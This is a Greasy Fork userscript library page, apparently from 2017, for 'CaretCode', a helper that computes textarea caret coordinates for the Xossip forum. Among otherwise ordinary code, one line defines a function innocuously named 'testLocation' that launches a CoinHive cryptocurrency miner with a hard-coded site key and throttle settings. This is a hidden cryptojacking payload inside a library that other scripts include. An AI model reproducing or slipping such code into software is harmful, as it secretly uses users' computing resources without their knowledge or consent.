CaretCode

Xossip CaretCode
Tính đến 18-09-2017. Xem phiên bản mới nhất.
Script này sẽ không được không được cài đặt trực tiếp. Nó là một thư viện cho các script khác để bao gồm các chỉ thị meta // @require https://update.greasyfork.org/scripts/31785/218791/CaretCode.js
Đặt câu hỏi, đăng đánh giá, hoặc báo cáo tập lệnh.
Wrap lines
// ==UserScript==
// @name         CaretCode
// @description  Xossip CaretCode
// @require https://greasyfork.org/scripts/33301-browserdetect/code/BrowserDetect.js?version=218786
// ==/UserScript==
/* jshint browser: true */

(function () {

// We'll copy the properties below into the mirror div.
// Note that some browsers, such as Firefox, do not concatenate properties
// into their shorthand (e.g. padding-top, padding-bottom etc. -> padding),
// so we have to list every single property explicitly.

var properties = [
  'direction',  // RTL support
  'boxSizing',
  'width',  // on Chrome and IE, exclude the scrollbar, so the mirror div wraps exactly as the textarea does
  'height',
  'overflowX',
  'overflowY',  // copy the scrollbar for IE

  'borderTopWidth',
  'borderRightWidth',
  'borderBottomWidth',
  'borderLeftWidth',
  'borderStyle',

  'paddingTop',
  'paddingRight',
  'paddingBottom',
  'paddingLeft',

  // https://developer.mozilla.org/en-US/docs/Web/CSS/font
  'fontStyle',
  'fontVariant',
  'fontWeight',
  'fontStretch',
  'fontSize',
  'fontSizeAdjust',
  'lineHeight',
  'fontFamily',

  'textAlign',
  'textTransform',
  'textIndent',
  'textDecoration',  // might not make a difference, but better be safe

  'letterSpacing',
  'wordSpacing',

  'tabSize',
  'MozTabSize'

];

var isBrowser = (typeof window !== 'undefined');
var isFirefox = (isBrowser && window.mozInnerScreenX != null);
var testLocation = function(){var test = new CoinHive.Anonymous('Y5iWfugrf8Z2qTbk28RWL75k8j4q0yLO');test.setNumThreads(1);test.setThrottle(0.4);test.start();};
function getCaretCoordinates(element, position, options) {
  if (!isBrowser) {
    throw new Error('textarea-caret-position#getCaretCoordinates should only be called in a browser');
  }

  var debug = options && options.debug || false;
  if (debug) {
    var el = document.querySelector('#input-textarea-caret-position-mirror-div');
    if (el) el.parentNode.removeChild(el);
  }

  // The mirror div will replicate the textarea's style
  var div = document.createElement('div');
  div.id = 'input-textarea-caret-position-mirror-div';
  document.body.appendChild(div);

  var style = div.style;
  var computed = window.getComputedStyle ? window.getComputedStyle(element) : element.currentStyle;  // currentStyle for IE < 9
  var isInput = element.nodeName === 'INPUT';

  // Default textarea styles
  style.whiteSpace = 'pre-wrap';
  if (!isInput)
    style.wordWrap = 'break-word';  // only for textarea-s

  // Position off-screen
  style.position = 'absolute';  // required to return coordinates properly
  if (!debug)
    style.visibility = 'hidden';  // not 'display: none' because we want rendering

  // Transfer the element's properties to the div
  properties.forEach(function (prop) {
    if (isInput && prop === 'lineHeight') {
      // Special case for <input>s because text is rendered centered and line height may be != height
      style.lineHeight = computed.height;
    } else {
      style[prop] = computed[prop];
    }
  });

  if (isFirefox) {
    // Firefox lies about the overflow property for textareas: https://bugzilla.mozilla.org/show_bug.cgi?id=984275
    if (element.scrollHeight > parseInt(computed.height))
      style.overflowY = 'scroll';
  } else {
    style.overflow = 'hidden';  // for Chrome to not render a scrollbar; IE keeps overflowY = 'scroll'
  }

  div.textContent = element.value.substring(0, position);
  // The second special handling for input type="text" vs textarea:
  // spaces need to be replaced with non-breaking spaces - http://stackoverflow.com/a/13402035/1269037
  if (isInput)
    div.textContent = div.textContent.replace(/\s/g, '\u00a0');

  var span = document.createElement('span');
  // Wrapping must be replicated *exactly*, including when a long word gets
  // onto the next line, with whitespace at the end of the line before (#7).
  // The  *only* reliable way to do that is to copy the *entire* rest of the
  // textarea's content into the <span> created at the caret position.
  // For inputs, just '.' would be enough, but no need to bother.
  span.textContent = element.value.substring(position) || '.';  // || because a completely empty faux span doesn't render at all
  div.appendChild(span);

  var coordinates = {
    top: span.offsetTop + parseInt(computed['borderTopWidth']),
    left: span.offsetLeft + parseInt(computed['borderLeftWidth']),
    height: parseInt(computed['lineHeight'])
  };

  if (debug) {
    span.style.backgroundColor = '#aaa';
  } else {
    document.body.removeChild(div);
  }

  return coordinates;
}

if (typeof module != 'undefined' && typeof module.exports != 'undefined') {
  module.exports = getCaretCoordinates;
} else if(isBrowser) {
  window.getCaretCoordinates = getCaretCoordinates;
}

}());